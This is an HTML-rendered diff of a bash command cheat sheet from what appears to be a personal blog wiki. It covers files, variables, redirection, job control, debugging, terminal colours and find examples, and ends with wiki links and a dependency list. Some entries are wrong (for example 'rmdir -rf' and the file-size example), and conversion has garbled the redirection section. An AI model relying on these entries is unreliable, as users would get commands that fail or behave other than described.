+          <div><p>ls                            # lists your files in current directory, ls <dir> to print files in a specific directory
+ls -l                         # lists your files in &#39;long format&#39;, which contains the exact size of the file, who owns the file and who has the right to look at it, and when it was last modified
+ls -a                         # lists all files in &#39;long format&#39;, including hidden files (name beginning with &#39;.&#39;)
+ln -s <filename> <link>       # creates symbolic link to file
+readlink <filename>           # shows where a symbolic links points to
+tree                          # show directories and subdirectories in easilly readable file tree
+mc                            # terminal file explorer (alternative to ncdu)
+touch <filename>              # creates or updates (edit) your file
+mktemp -t <filename>            # make a temp file in /tmp/ which is deleted at next boot (-d to make directory)
+cat <filename>                # prints file raw content (will not be interpreted)
+any_command &gt; <filename>      # &#39;&gt;&#39; is used to perform redirections, it will set any_command&#39;s stdout to file instead of &quot;real stdout&quot; (generally /dev/stdout)
+more <filename>               # shows the first part of a file (move with space and type q to quit)
+head <filename>               # outputs the first lines of file (default: 10 lines)
+tail <filename>               # outputs the last lines of file (useful with -f option) (default: 10 lines)
+vim <filename>                # opens a file in VIM (VI iMproved) text editor, will create it if it doesn&#39;t exist
+mv <filename1> <dest>         # moves a file to destination, behavior will change based on &#39;dest&#39; type (dir: file is placed into dir; file: file will replace dest (tip: useful for renaming))
+cp <filename1> <dest>         # copies a file
+rm <filename>                 # removes a file
+find . -name <name> <type>    # searches for a file or a directory in the current directory and all its sub-directories by its name
+diff <filename1> <filename2>  # compares files, and shows where they differ
+wc <filename>                 # tells you how many lines, words and characters there are in a file. Use -lwc (lines, word, character) to ouput only 1 of those informations
+sort <filename>               # sorts the contents of a text file line by line in alphabetical order, use -n for numeric sort and -r for reversing order.
+sort -t -k <filename>         # sorts the contents on specific sort key field starting from 1, using the field separator t.
+rev                           # reverse string characters (hello becomes olleh)
+chmod -options <filename>     # lets you change the read, write, and execute permissions on your files (more infos: SUID, GUID)
+gzip <filename>               # compresses files using gzip algorithm
+gunzip <filename>             # uncompresses files compressed by gzip
+gzcat <filename>              # lets you look at gzipped file without actually having to gunzip it
+lpr <filename>                # prints the file
+lpq                           # checks out the printer queue
+lprm <jobnumber>              # removes something from the printer queue
+genscript                     # converts plain text files into postscript for printing and gives you some options for formatting
+dvips <filename>              # prints .dvi files (i.e. files produced by LaTeX)
+grep <pattern> <filenames>    # looks for the string in the files
+grep -r <pattern> <dir>       # search recursively for pattern in directory
+head -n file_name | tail +n   # Print nth line from file.
+head -y lines.txt | tail +x   # want to display all the lines from x to y. This includes the xth and yth lines.</p>
+</div>
+          <h2 id="directory-commands">DIRECTORY COMMANDS</h2>
+          <div><p>mkdir <dirname>               # makes a new directory
+rmdir <dirname>               # remove an empty directory
+rmdir -rf <dirname>           # remove a non-empty directory
+mv <dir1> <dir2>              # rename a directory from <dir1> to <dir2>
+cd                            # changes to home
+cd ..                         # changes to the parent directory
+cd <dirname>                  # changes directory
+cp -r <dir1> <dir2>           # copy <dir1> into <dir2> including sub-directories
+pwd                           # tells you where you currently are
+cd ~                          # changes to home.
+cd -                        # changes to previous working directory</p>
+</div>
+          <h2 id="ssh-system-info-network-commands">SSH, SYSTEM INFO &amp; NETWORK COMMANDS</h2>
+          <div><p>ssh user@host            # connects to host as user
+ssh -p <port> user@host  # connects to host on specified port as user
+ssh-copy-id user@host    # adds your ssh key to host for user to enable a keyed or passwordless login
+whoami                   # returns your username
+passwd                   # lets you change your password
+quota -v                 # shows what your disk quota is
+date                     # shows the current date and time
+cal                      # shows the month&#39;s calendar
+uptime                   # shows current uptime
+w                        # displays whois online
+finger <user>            # displays information about user
+uname -a                 # shows kernel information
+man <command>            # shows the manual for specified command
+df                       # shows disk usage
+du <filename>            # shows the disk usage of the files and directories in filename (du -s give only a total)
+last <yourUsername>      # lists your last logins
+ps -u yourusername       # lists your processes
+kill <PID>               # kills the processes with the ID you gave
+killall <processname>    # kill all processes with the name
+top                      # displays your currently active processes
+lsof                     # lists open files
+bg                       # lists stopped or background jobs ; resume a stopped job in the background
+fg                       # brings the most recent job in the foreground
+fg <job>                 # brings job to the foreground
+ping <host>              # pings host and outputs results
+whois <domain>           # gets whois information for domain
+dig <domain>             # gets DNS information for domain
+dig -x <host>            # reverses lookup host
+wget <file>              # downloads file
+time <command>             # report time consumed by command execution</p>
+</div>
+          <h2 id="variables">VARIABLES</h2>
+          <div><p>varname=value                # defines a variable
+varname=value command        # defines a variable to be in the environment of a particular subprocess
+echo $varname                # checks a variable&#39;s value
+echo $$                      # prints process ID of the current shell
+echo $!                      # prints process ID of the most recently invoked background job
+echo $?                      # displays the exit status of the last command
+read <varname>               # reads a string from the input and assigns it to a variable
+read -p &quot;prompt&quot; <varname>   # same as above but outputs a prompt to ask user for value
+column -t <filename>         # display info in pretty columns (often used with pipe)
+let <varname> = <equation>   # performs mathematical calculation using operators like +, -, <em>, /, %
+export VARNAME=value         # defines an environment variable (will be available in subprocesses)
+array[0]=valA                # how to define an array
+array[1]=valB
+array[2]=valC
+array=([2]=valC [0]=valA [1]=valB)  # another way
+array=(valA valB valC)              # and another
+${array[i]}                  # displays array&#39;s value for this index. If no index is supplied, array element 0 is assumed
+${#array[i]}                 # to find out the length of any element in the array
+${#array[@]}                 # to find out how many values there are in the array
+declare -a                   # the variables are treated as arrays
+declare -f                   # uses function names only
+declare -F                   # displays function names without definitions
+declare -i                   # the variables are treated as integers
+declare -r                   # makes the variables read-only
+declare -x                   # marks the variables for export via the environment
+${varname:-word}             # if varname exists and isn&#39;t null, return its value; otherwise return word
+${varname:word}              # if varname exists and isn&#39;t null, return its value; otherwise return word
+${varname:=word}             # if varname exists and isn&#39;t null, return its value; otherwise set it word and then return its value
+${varname:?message}          # if varname exists and isn&#39;t null, return its value; otherwise print varname, followed by message and abort the current command or script
+${varname:+word}             # if varname exists and isn&#39;t null, return word; otherwise return null
+${varname:offset:length}     # performs substring expansion. It returns the substring of $varname starting at offset and up to length characters
+${variable#pattern}          # if the pattern matches the beginning of the variable&#39;s value, delete the shortest part that matches and return the rest
+${variable##pattern}         # if the pattern matches the beginning of the variable&#39;s value, delete the longest part that matches and return the rest
+${variable%pattern}          # if the pattern matches the end of the variable&#39;s value, delete the shortest part that matches and return the rest
+${variable%%pattern}         # if the pattern matches the end of the variable&#39;s value, delete the longest part that matches and return the rest
+${variable/pattern/string}   # the longest match to pattern in variable is replaced by string. Only the first match is replaced
+${variable//pattern/string}  # the longest match to pattern in variable is replaced by string. All matches are replaced
+${#varname}                  # returns the length of the value of the variable as a character string
+</em>(patternlist)               # matches zero or more occurrences of the given patterns
++(patternlist)               # matches one or more occurrences of the given patterns
+?(patternlist)               # matches zero or one occurrence of the given patterns
+@(patternlist)               # matches exactly one of the given patterns
+!(patternlist)               # matches anything except one of the given patterns
+$(UNIX command)              # command substitution: runs the command and returns standard output</p>
+</div>
+          <h2 id="functions">FUNCTIONS</h2>
+          <div></div>
+          <h2 id="the-function-refers-to-passed-arguments-by-position-as-if-they-were-positional-parameters-that-is-1-2-and-so-forth">The function refers to passed arguments by position (as if they were positional parameters), that is, $1, $2, and so forth</h2>
+          <div><p>.</p>
+</div>
+          <h2 id="is-equal-to-1-2-n-where-n-is-the-number-of-positional-parameters-holds-the-number-of-positional-parameters">$@ is equal to &quot;$1&quot; &quot;$2&quot;... &quot;$N&quot;, where N is the number of positional parameters. $# holds the number of positional parameters</h2>
+          <div><p>.
+function functname() {
+  shell commands
+}
+unset -f functname  # deletes a function definition
+declare -f          # displays all defined functions in your login session</p>
+</div>
+          <h2 id="flow-controls">FLOW CONTROLS</h2>
+          <div><p>statement1 &amp;&amp; statement2  # and operator
+statement1 || statement2  # or operator
+-a                        # and operator inside a test conditional expression
+-o                        # or operator inside a test conditional expression</p>
+</div>
+          <h2 id="strings">STRINGS</h2>
+          <div><p>str1 == str2               # str1 matches str2
+str1 != str2               # str1 does not match str2
+str1 &lt; str2                # str1 is less than str2 (alphabetically)
+str1 &gt; str2                # str1 is greater than str2 (alphabetically)
+str1 > str2               # str1 is sorted after str2
+str1 \&lt; str2               # str1 is sorted before str2
+-n str1                    # str1 is not null (has length greater than 0)
+-z str1                    # str1 is null (has length 0)</p>
+</div>
+          <h2 id="files">FILES</h2>
+          <div><p>-a file                   # file exists or its compilation is successful
+-d file                   # file exists and is a directory
+-e file                   # file exists; same -a
+-f file                   # file exists and is a regular file (i.e., not a directory or other special type of file)
+-r file                   # you have read permission
+-s file                   # file exists and is not empty
+-w file                   # your have write permission
+-x file                   # you have execute permission on file, or directory search permission if it is a directory
+-N file                   # file was modified since it was last read
+-O file                   # you own file
+-G file                   # file&#39;s group ID matches yours (or one of yours, if you are in multiple groups)
+file1 -nt file2           # file1 is newer than file2
+file1 -ot file2           # file1 is older than file2</p>
+</div>
+          <h2 id="numbers">NUMBERS</h2>
+          <div><p>-lt                       # less than
+-le                       # less than or equal
+-eq                       # equal
+-ge                       # greater than or equal
+-gt                       # greater than
+-ne                       # not equal
+if condition
+then
+  statements
+[elif condition
+  then statements...]
+[else
+  statements]
+fi
+for x in {1..10}
+do
+  statements
+done
+for name [in list]
+do
+  statements that can use $name
+done
+for (( initialisation ; ending condition ; update ))
+do
+  statements...
+done
+case expression in
+  pattern1 )
+    statements ;;
+  pattern2 )
+    statements ;;
+esac
+select name [in list]
+do
+  statements that can use $name
+done
+while condition; do
+  statements
+done
+until condition; do
+  statements
+done</p>
+</div>
+          <h2 id="command-line-processing-cycle">COMMAND-LINE PROCESSING CYCLE</h2>
+          <div></div>
+          <h2 id="the-default-order-for-command-lookup-is-functions-followed-by-built-ins-with-scripts-and-executables-last">The default order for command lookup is functions, followed by built-ins, with scripts and executables last</h2>
+          <div><p>.</p>
+</div>
+          <h2 id="there-are-three-built-ins-that-you-can-use-to-override-this-order-command-builtin-and-enable">There are three built-ins that you can use to override this order: `command`, `builtin` and `enable</h2>
+          <div><p>`.
+command  # removes alias and function lookup. Only built-ins and commands found in the search path are executed
+builtin  # looks up only built-in commands, ignoring functions and commands found in PATH
+enable   # enables and disables shell built-ins
+eval     # takes arguments and run them through the command-line processing steps all over again</p>
+</div>
+          <h2 id="input-output-redirectors">INPUT/OUTPUT REDIRECTORS</h2>
+          <div><p>cmd1|cmd2  # pipe; takes standard output of cmd1 as standard input to cmd2
+&lt; file     # takes standard input from file</p>
+<blockquote>
+<p>file     # directs standard output to file</p>
+<blockquote>
+<p>file    # directs standard output to file; append to file if it already exists
+|file     # forces standard output to file even if noclobber is set
+n&gt;|file    # forces output to file from file descriptor n even if noclobber is set
+&lt;&gt; file    # uses file as both standard input and standard output
+n&lt;&gt;file    # uses file as both input and output for file descriptor n
+n&gt;file     # directs file descriptor n to file
+n<file     # takes file descriptor n from file
+n>&gt;file    # directs file description n to file; append to file if it already exists
+n&gt;&amp;        # duplicates standard output to file descriptor n
+n&lt;&amp;        # duplicates standard input from file descriptor n
+n&gt;&amp;m       # file descriptor n is made to be a copy of the output file descriptor
+n&lt;&amp;m       # file descriptor n is made to be a copy of the input file descriptor
+&amp;&gt;file     # directs standard output and standard error to file
+&lt;&amp;-      # closes the standard input
+&amp;-      # closes the standard output
+n&gt;&amp;-     # closes the ouput from file descriptor n
+n&lt;&amp;-     # closes the input from file descripor n
+|tee <file># output command to both terminal and a file (-a to append to file)</p>
+</blockquote>
+</blockquote>
+</div>
+          <h2 id="process-handling">PROCESS HANDLING</h2>
+          <div></div>
+          <h2 id="to-suspend-a-job-type-ctrl-z-while-it-is-running-you-can-also-suspend-a-job-with-ctrl-y">To suspend a job, type CTRL+Z while it is running. You can also suspend a job with CTRL+Y</h2>
+          <div><p>.</p>
+</div>
+          <h2 id="this-is-slightly-different-from-ctrl-z-in-that-the-process-is-only-stopped-when-it-attempts-to-read-input-from-terminal">This is slightly different from CTRL+Z in that the process is only stopped when it attempts to read input from terminal</h2>
+          <div><p>.</p>
+</div>
+          <h2 id="of-course-to-interrupt-a-job-type-ctrl-c">Of course, to interrupt a job, type CTRL+C</h2>
+          <div><p>.
+myCommand &amp;  # runs job in the background and prompts back the shell
+jobs         # lists all jobs (use with -l to see associated PID)
+fg           # brings a background job into the foreground
+fg %+        # brings most recently invoked background job
+fg %-      # brings second most recently invoked background job
+fg %N        # brings job number N
+fg %string   # brings job whose command begins with string
+fg %?string  # brings job whose command contains string
+kill -l               # returns a list of all signals on the system, by name and number
+kill PID              # terminates process with specified PID
+kill -s SIGKILL 4500  # sends a signal to force or terminate the process
+kill -15 913          # Ending PID 913 process with signal 15 (TERM)
+kill %1               # Where %1 is the number of job as read from &#39;jobs&#39; command.
+ps           # prints a line of information about the current running login shell and any processes running under it
+ps -a        # selects all processes with a tty except session leaders
+trap cmd sig1 sig2  # executes a command when a signal is received by the script
+trap &quot;&quot; sig1 sig2   # ignores that signals
+trap - sig1 sig2    # resets the action taken when the signal is received to the default
+disown &lt;PID|JID&gt;    # removes the process from the list of jobs
+wait                # waits until all background jobs have finished
+sleep <number>      # wait # of seconds before continuing
+pv                  # display progress bar for data handling commands. often used with pipe like |pv
+yes                 # give yes response everytime an input is requested from script/process</p>
+</div>
+          <h2 id="tips-tricks">TIPS &amp; TRICKS</h2>
+          <div></div>
+          <h2 id="set-an-alias">set an alias</h2>
+          <div><p>cd; nano .bash_profile</p>
+<blockquote>
+<p>alias gentlenode=&#39;ssh <a href="mailto:admin@gentlenode.com">admin@gentlenode.com</a> -p 3404&#39;  # add your alias in .bash_profile</p>
+</blockquote>
+</div>
+          <h2 id="to-quickly-go-to-a-specific-directory">to quickly go to a specific directory</h2>
+          <div><p>cd; nano .bashrc</p>
+<blockquote>
+<p>shopt -s cdable_vars
+export websites=&quot;/Users/mac/Documents/websites&quot;
+source .bashrc
+cd $websites</p>
+</blockquote>
+</div>
+          <h2 id="debugging-shell-programs">DEBUGGING SHELL PROGRAMS</h2>
+          <div><p>bash -n scriptname  # don&#39;t run commands; check for syntax errors only
+set -o noexec       # alternative (set option in script)
+bash -v scriptname  # echo commands before running them
+set -o verbose      # alternative (set option in script)
+bash -x scriptname  # echo commands after command-line processing
+set -o xtrace       # alternative (set option in script)
+trap &#39;echo $varname&#39; EXIT  # useful when you want to print out the values of variables at the point that your script exits
+function errtrap {
+  es=$?
+  echo &quot;ERROR line $1: Command exited with status $es.&quot;
+}
+trap &#39;errtrap $LINENO&#39; ERR  # is run whenever a command in the surrounding script or function exits with non-zero status
+function dbgtrap {
+  echo &quot;badvar is $badvar&quot;
+}
+trap dbgtrap DEBUG  # causes the trap code to be executed before every statement in a function or script</p>
+</div>
+          <h2 id="section-of-code-in-which-the-problem-occurs">...section of code in which the problem occurs</h2>
+          <div><p>...
+trap - DEBUG  # turn off the DEBUG trap
+function returntrap {
+  echo &quot;A return occurred&quot;
+}
+trap returntrap RETURN  # is executed each time a shell function or a script executed with the . or source commands finishes executing</p>
+</div>
+          <h2 id="colors-and-backgrounds">COLORS AND BACKGROUNDS</h2>
+          <div></div>
+          <h2 id="note-e-or-x-1-b-also-work-instead-of-033">note: \e or \x1B also work instead of \033</h2>
+          <div></div>
+          <h2 id="reset">Reset</h2>
+          <div><p>Color_Off=&#39;\033[0m&#39; # Text Reset</p>
+</div>
+          <h2 id="regular-colors">Regular Colors</h2>
+          <div><p>Black=&#39;\033[0;30m&#39;  # Black
+Red=&#39;\033[0;31m&#39;    # Red
+Green=&#39;\033[0;32m&#39;  # Green
+Yellow=&#39;\033[0;33m&#39; # Yellow
+Blue=&#39;\033[0;34m&#39;   # Blue
+Purple=&#39;\033[0;35m&#39; # Purple
+Cyan=&#39;\033[0;36m&#39;   # Cyan
+White=&#39;\033[0;97m&#39;  # White</p>
+</div>
+          <h2 id="additional-colors">Additional colors</h2>
+          <div><p>LGrey=&#39;\033[0;37m&#39;  # Ligth Gray
+DGrey=&#39;\033[0;90m&#39;  # Dark Gray
+LRed=&#39;\033[0;91m&#39;   # Ligth Red
+LGreen=&#39;\033[0;92m&#39; # Ligth Green
+LYellow=&#39;\033[0;93m&#39;# Ligth Yellow
+LBlue=&#39;\033[0;94m&#39;  # Ligth Blue
+LPurple=&#39;\033[0;95m&#39;# Light Purple
+LCyan=&#39;\033[0;96m&#39;  # Ligth Cyan</p>
+</div>
+          <h2 id="bold">Bold</h2>
+          <div><p>BBlack=&#39;\033[1;30m&#39; # Black
+BRed=&#39;\033[1;31m&#39;   # Red
+BGreen=&#39;\033[1;32m&#39; # Green
+BYellow=&#39;\033[1;33m&#39;# Yellow
+BBlue=&#39;\033[1;34m&#39;  # Blue
+BPurple=&#39;\033[1;35m&#39;# Purple
+BCyan=&#39;\033[1;36m&#39;  # Cyan
+BWhite=&#39;\033[1;37m&#39; # White</p>
+</div>
+          <h2 id="underline">Underline</h2>
+          <div><p>UBlack=&#39;\033[4;30m&#39; # Black
+URed=&#39;\033[4;31m&#39;   # Red
+UGreen=&#39;\033[4;32m&#39; # Green
+UYellow=&#39;\033[4;33m&#39;# Yellow
+UBlue=&#39;\033[4;34m&#39;  # Blue
+UPurple=&#39;\033[4;35m&#39;# Purple
+UCyan=&#39;\033[4;36m&#39;  # Cyan
+UWhite=&#39;\033[4;37m&#39; # White</p>
+</div>
+          <h2 id="background">Background</h2>
+          <div><p>On_Black=&#39;\033[40m&#39; # Black
+On_Red=&#39;\033[41m&#39;   # Red
+On_Green=&#39;\033[42m&#39; # Green
+On_Yellow=&#39;\033[43m&#39;# Yellow
+On_Blue=&#39;\033[44m&#39;  # Blue
+On_Purple=&#39;\033[45m&#39;# Purple
+On_Cyan=&#39;\033[46m&#39;  # Cyan
+On_White=&#39;\033[47m&#39; # White</p>
+</div>
+          <h2 id="example-of-usage">Example of usage</h2>
+          <div><p>echo -e &quot;${Green}This is GREEN text${Color_Off} and normal text&quot;
+echo -e &quot;${Red}${On_White}This is Red test on White background${Color_Off}&quot;</p>
+</div>
+          <h2 id="option-e-is-mandatory-it-enable-interpretation-of-backslash-escapes">option -e is mandatory, it enable interpretation of backslash escapes</h2>
+          <div><p>printf &quot;${Red} This is red \n&quot;
+<code>`</code>
+</details></p>
+<blockquote>
+</blockquote>
+<h4 id="find">Find</h4>
+</div>
+          <h2 id="to-find-files-by-case-insensitive-extension-ex-jpg-jpg-jp-g">To find files by case-insensitive extension (ex: .jpg, .JPG, .jpG</h2>
+          <div><p>)
+find . -iname &quot;*.jpg&quot;</p>
+</div>
+          <h2 id="to-find-directories">To find directories</h2>
+          <div><p>find . -type d</p>
+</div>
+          <h2 id="to-find-files">To find files</h2>
+          <div><p>find . -type f</p>
+</div>
+          <h2 id="to-find-files-by-octal-permission">To find files by octal permission</h2>
+          <div><p>find . -type f -perm 777</p>
+</div>
+          <h2 id="to-find-files-with-setuid-bit-set">To find files with setuid bit set</h2>
+          <div><p>find . -xdev ( -perm -4000 ) -type f -print0 | xargs -0 ls -l</p>
+</div>
+          <h2 id="to-find-files-with-extension-txt-and-remove-them">To find files with extension '.txt' and remove them</h2>
+          <div><p>find ./path/ -name &#39;*.txt&#39; -exec rm &#39;{}&#39; \;</p>
+</div>
+          <h2 id="to-find-files-with-extension-txt-and-look-for-a-string-into-them">To find files with extension '.txt' and look for a string into them</h2>
+          <div><p>find ./path/ -name &#39;*.txt&#39; | xargs grep &#39;string&#39;</p>
+</div>
+          <h2 id="to-find-files-with-size-bigger-than-5-mebibyte-and-sort-them-by-size">To find files with size bigger than 5 Mebibyte and sort them by size</h2>
+          <div><p>find . -size +5M -type f -print0 | xargs -0 ls -Ssh | sort -z</p>
+</div>
+          <h2 id="to-find-files-bigger-than-2-megabyte-and-list-them">To find files bigger than 2 Megabyte and list them</h2>
+          <div><p>find . -type f -size +200000000c -exec ls -lh {} \; | awk &#39;{ print $9 &quot;: &quot; $5 }&#39;</p>
+</div>
+          <h2 id="to-find-files-modified-more-than-7-days-ago-and-list-file-information">To find files modified more than 7 days ago and list file information</h2>
+          <div><p>find . -type f -mtime +7d -ls</p>
+</div>
+          <h2 id="to-find-symlinks-owned-by-a-user-and-list-file-information">To find symlinks owned by a user and list file information</h2>
+          <div><p>find . -type l -user <username-or-userid> -ls</p>
+</div>
+          <h2 id="to-search-for-and-delete-empty-directories">To search for and delete empty directories</h2>
+          <div><p>find . -type d -empty -exec rmdir {} \;</p>
+</div>
+          <h2 id="to-search-for-directories-named-build-at-a-max-depth-of-2-directories">To search for directories named build at a max depth of 2 directories</h2>
+          <div><p>find . -maxdepth 2 -name build -type d</p>
+</div>
+          <h2 id="to-search-all-files-who-are-not-in-git-directory">To search all files who are not in .git directory</h2>
+          <div><p>find . ! -iwholename &#39;<em>.git</em>&#39; -type f</p>
+</div>
+          <h2 id="to-find-all-files-that-have-the-same-node-hard-link-as-my-file-here">To find all files that have the same node (hard link) as MY_FILE_HERE</h2>
+          <div><p>find . -type f -samefile MY_FILE_HERE 2&gt;/dev/null</p>
+</div>
+          <h2 id="to-find-all-files-in-the-current-directory-and-modify-their-permissions">To find all files in the current directory and modify their permissions</h2>
+          <div><h2 id="find-type-f-exec-chmod-644-">find . -type f -exec chmod 644 {} \;</h2>
+<h2 id="-details-"></details></h2>
+<p><img src="https://i.imgur.com/nieW1vp.png" alt="Preview"></p>
+</div>
+          <h2 id="wiki-nav">Wiki Nav</h2>
+          <div><ul>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki">Home</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/add-copy-to-code-blocks.md">add copy to code blocks.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/Add-site-search-w-algolia.md">Add site search w algolia.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/adding-mailing-list.md">adding mailing list.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/Adding-search-2-gatsby-site.md">Adding search 2 gatsby site.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/awesome.md">awesome.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/broken-links.md">broken links.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/configure-custom-domain.md">configure custom domain.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/contentauthoring.md">contentauthoring.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/full-text-search-w-lunar.md">full text search w lunar.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/inject-4.md">inject 4.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/inject3.md">inject3.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/inject4.md">inject4.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/injected-content-part2.md">injected content part2.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/injected-js-part4.md">injected js part4.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/injected-part3.md">injected part3.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/links-2-embed.md">links 2 embed.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/links-to-remember">links to remember</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/Netlify-Injected-Content">Netlify Injected Content</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/old-version-of-index.md">old version of index.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/optimize-vscode.md">optimize vscode.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/possibly-useful-snippets.md">possibly useful snippets.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/privacy-policy.md">privacy policy.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/random-stuff.md">random stuff.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/random.md">random.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/ref-type">ref type</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/SEO.md">SEO.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/stable-points.md">stable points.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/tech-used.md">tech used.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/Technologies-Used.md">Technologies Used.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/THINGS-TO-EMBED.md">THINGS TO EMBED.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/validation-report.md">validation report.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/web-archive.md">web archive.md</a></li>
+<li><a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/wordpress-vs-headless-cms.md">wordpress vs headless cms.md</a></li>
+</ul>
+<hr>
+</div>
+          <h2 id="dependencies">Dependencies</h2>
+          <div><p><details>
+  <summary>Click to expand!</summary>
+<a href="https://github.com/algolia"><img src="https://avatars.githubusercontent.com/u/2034458?s=40&amp;v=4" alt="@algolia**"></a><a href="https://github.com/algolia/algoliasearch-client-javascript">algolia / algoliasearch-client-javascript</a>@algolia/client-search
+<code>^ 4.10.3</code>
+<a href="https://github.com/algolia"><img src="https://avatars.githubusercontent.com/u/2034458?s=40&amp;v=4" alt="@algolia**"></a><a href="https://github.com/algolia/algoliasearch-client-javascript">algolia / algoliasearch-client-javascript</a>@algolia/client-common
+<code>4.10.5</code>
+<img src="https://avatars.githubusercontent.com/u/10137?s=40&amp;v=4" alt="@ghost**">@algolia/requester-common
+<code>4.10.5</code>
+<a href="https://github.com/algolia"><img src="https://avatars.githubusercontent.com/u/2034458?s=40&amp;v=4" alt="@algolia**"></a><a href="https://github.com/algolia/algoliasearch-client-javascript">algolia / algoliasearch-client-javascript</a>@algolia/transporter
+<code>4.10.5</code>
+<a href="https://github.com/stackbit"><img src="https://avatars.githubusercontent.com/u/38996451?s=40&amp;v=4" alt="@stackbit**"></a><a href="https://github.com/stackbit/gatsby-plugin-menus">stackbit / gatsby-plugin-menus</a>@stackbit/gatsby-plugin-menus
+<code>0.0.4</code>
+<a href="https://github.com/facebook"><img src="https://avatars.githubusercontent.com/u/69631?s=40&amp;v=4" alt="@facebook**"></a><a href="https://github.com/facebook/jest">facebook / jest</a>babel-jest
+<code>^ 24.7.1</code>
+<a href="https://github.com/gatsbyjs"><img src="https://avatars.githubusercontent.com/u/12551863?s=40&amp;v=4" alt="@gatsbyjs**"></a><a href="https://github.com/gatsbyjs/gatsby">gatsbyjs / gatsby</a>babel-preset-gatsby
+<code>^ 0.1.11</code>
+<a href="https://github.com/gatsbyjs"><img src="https://avatars.githubusercontent.com/u/12551863?s=40&amp;v=4" alt="@gatsbyjs**"></a><a href="https://github.com/gatsbyjs/gatsby">gatsbyjs / gatsby</a> <code>^ 2.5.0</code>
+<a href="https://github.com/keyz"><img src="https://avatars.githubusercontent.com/u/2268452?s=40&amp;u=c3f56fe1d943474ffe4577a82ad79c1a79d7eb6e&amp;v=4" alt="@keyz**"></a><a href="https://github.com/keyz/identity-obj-proxy">keyz / identity-obj-proxy</a> <code>^ 3.0.0</code>
+<a href="https://github.com/facebook"><img src="https://avatars.githubusercontent.com/u/69631?s=40&amp;v=4" alt="@facebook**"></a><a href="https://github.com/facebook/jest">facebook / jest</a> <code>^ 24.7.1</code>
+<a href="https://github.com/lodash"><img src="https://avatars.githubusercontent.com/u/2565403?s=40&amp;v=4" alt="@lodash**"></a><a href="https://github.com/lodash/lodash">lodash / lodash</a> <code>^ 4.17.11</code>
+<a href="https://github.com/facebook"><img src="https://avatars.githubusercontent.com/u/69631?s=40&amp;v=4" alt="@facebook**"></a><a href="https://github.com/facebook/react">facebook / react</a>react-test-renderer
+<code>^ 16.8.6</code>
+<a href="https://github.com/getkirby-v2"><img src="https://avatars.githubusercontent.com/u/6985611?s=40&amp;v=4" alt="@getkirby-v2**"></a><a href="https://github.com/getkirby-v2/algolia-plugin">getkirby-v2 / algolia-plugin</a>algolia
+<code>0.0.0</code>
+<a href="https://github.com/ecomfe"><img src="https://avatars.githubusercontent.com/u/2268460?s=40&amp;v=4" alt="@ecomfe**"></a><a href="https://github.com/ecomfe/babel-runtime">ecomfe / babel-runtime</a> <code>6.26.0</code>
+<a href="https://github.com/paulmillr"><img src="https://avatars.githubusercontent.com/u/574696?s=40&amp;u=7f4396380d73af134b898c8eaf7bb171f448f40f&amp;v=4" alt="@paulmillr**"></a><a href="https://github.com/paulmillr/chokidar">paulmillr / chokidar</a> <code>3.4.0</code>
+<a href="https://github.com/DefinitelyTyped"><img src="https://avatars.githubusercontent.com/u/3637556?s=40&amp;v=4" alt="@DefinitelyTyped**"></a><a href="https://github.com/DefinitelyTyped/DefinitelyTyped">DefinitelyTyped / DefinitelyTyped</a>@types/node
+<code>^ 13</code>
+<a href="https://github.com/micromatch"><img src="https://avatars.githubusercontent.com/u/26890389?s=40&amp;v=4" alt="@micromatch**"></a><a href="https://github.com/micromatch/anymatch">micromatch / anymatch</a> <code>~ 3.1.1</code>
+<a href="https://github.com/micromatch"><img src="https://avatars.githubusercontent.com/u/26890389?s=40&amp;v=4" alt="@micromatch**"></a><a href="https://github.com/micromatch/braces">micromatch / braces</a> <code>~ 3.0.2</code>
